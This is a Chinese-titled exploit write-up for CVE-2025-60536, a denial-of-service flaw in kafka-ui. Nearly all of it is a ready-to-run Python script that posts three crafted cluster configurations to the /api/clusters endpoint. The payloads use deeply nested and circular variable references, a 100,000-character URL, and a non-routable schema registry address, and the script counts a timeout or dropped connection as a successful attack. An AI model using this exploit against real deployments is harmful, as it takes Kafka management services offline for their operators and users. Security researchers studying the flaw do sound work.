CVE-2025-60536 kafka-ui配置接口拒绝服务漏洞

# CVE-2025-60536 - kafka-ui DoS via Crafted Configuration File # Exploit: Upload a malicious cluster configuration to trigger DoS import requests import json TARGET_URL = "http://target-kafka-ui-host:8080" CLUSTER_CONFIG_ENDPOINT = f"{TARGET_URL}/api/clusters" # Malicious configuration designed to trigger DoS # Option 1: Resource exhaustion via deeply nested references malicious_config_resource_exhaustion = { "name": "evil-cluster", "bootstrapServers": "${${${${${${${${${${A}}}}}}}}}", # Nested variable expansion causing stack overflow "properties": { "schema.registry.url": "http://" + "A" * 100000, # Extremely long URL causing memory issues } } # Option 2: Invalid Schema Registry config causing thread blocking malicious_config_schema_blocking = { "name": "evil-cluster-2", "bootstrapServers": "localhost:9092", "schemaRegistry": "http://10.255.255.1:8081", # Non-routable IP causing connection timeout/blocking "properties": { "schema.registry.url": "http://10.255.255.1:8081", "basic.auth.user.info": "user:" + "password" * 10000 } } # Option 3: Circular reference causing infinite loop malicious_config_circular = { "name": "evil-cluster-3", "bootstrapServers": "${bootstrapServers}", # Self-referencing variable "properties": { "key1": "${key2}", "key2": "${key1}", # Circular reference "key3": "${key3}" # Self-referencing } } def exploit_dos(config_payload): """ Send malicious configuration to kafka-ui to trigger DoS """ headers = { "Content-Type": "application/json", "Accept": "application/json" } try: response = requests.post( CLUSTER_CONFIG_ENDPOINT, headers=headers, data=json.dumps(config_payload), timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") return response except requests.exceptions.Timeout: print("Request timed out - server may be unresponsive (DoS successful)") except requests.exceptions.ConnectionError: print("Connection error - server may be down (DoS successful)") except Exception as e: print(f"Error: {e}") # Execute exploit if __name__ == "__main__": print("[*] Attempting DoS via crafted configuration upload...") exploit_dos(malicious_config_resource_exhaustion) print("[*] Attempting DoS via Schema Registry blocking...") exploit_dos(malicious_config_schema_blocking) print("[*] Attempting DoS via circular reference...") exploit_dos(malicious_config_circular) print("[*] Done. Check target service availability.")